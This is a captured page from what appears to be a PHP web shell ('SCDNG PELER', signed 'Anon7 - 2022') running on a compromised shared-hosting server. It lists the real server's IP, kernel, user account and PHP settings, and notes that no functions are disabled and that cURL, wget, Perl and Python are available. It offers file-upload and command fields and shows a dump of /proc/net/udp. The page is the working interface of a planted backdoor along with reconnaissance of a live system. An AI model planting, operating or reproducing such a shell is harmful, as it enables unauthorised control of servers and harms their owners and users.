SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.138
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/net//udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops             
 2405: E4764C90:C25D 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1397563236 2 0000000000000000 0    
 2859: E4764C90:C423 01400CB9:0035 01 00000000:00000000 00:00000000 00000000  1297        0 1397580389 2 0000000000000000 0    
 6714: E4764C90:D332 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1397577942 2 0000000000000000 0    
11996: E4764C90:E7D4 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    47        0 1397561074 2 0000000000000000 0    
12545: E4764C90:69F9 01400CB9:0035 01 00000000:00000000 00:00000000 00000000  1071        0 1393686255 2 0000000000000000 0    
18237: 00000000:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 1364097400 2 0000000000000000 0    
18295: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 19850 2 0000000000000000 0         
18507: 0100007F:0143 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 25998 2 0000000000000000 0         
18627: 00000000:01BB 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 557873957 2 0000000000000000 0     
18627: 00000000:01BB 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 557873956 2 0000000000000000 0     
21892: E4764C90:8E7C 01400CB9:0035 01 00000000:00000000 00:00000000 00000000    28        0 1397598240 2 0000000000000000 0    
26572: E4764C90:A0C4 01400CB9:0035 01 00000000:00000000 00:00000000 00000000  1297        0 1397581532 2 0000000000000000 0    
32687: E4764C90:B8A7 01400CB9:0035 01 00000000:00000000 00:00000000 00000000  1062        0 1383334658 2 0000000000000000 0    

Anon7 - 2022
SCDN GOK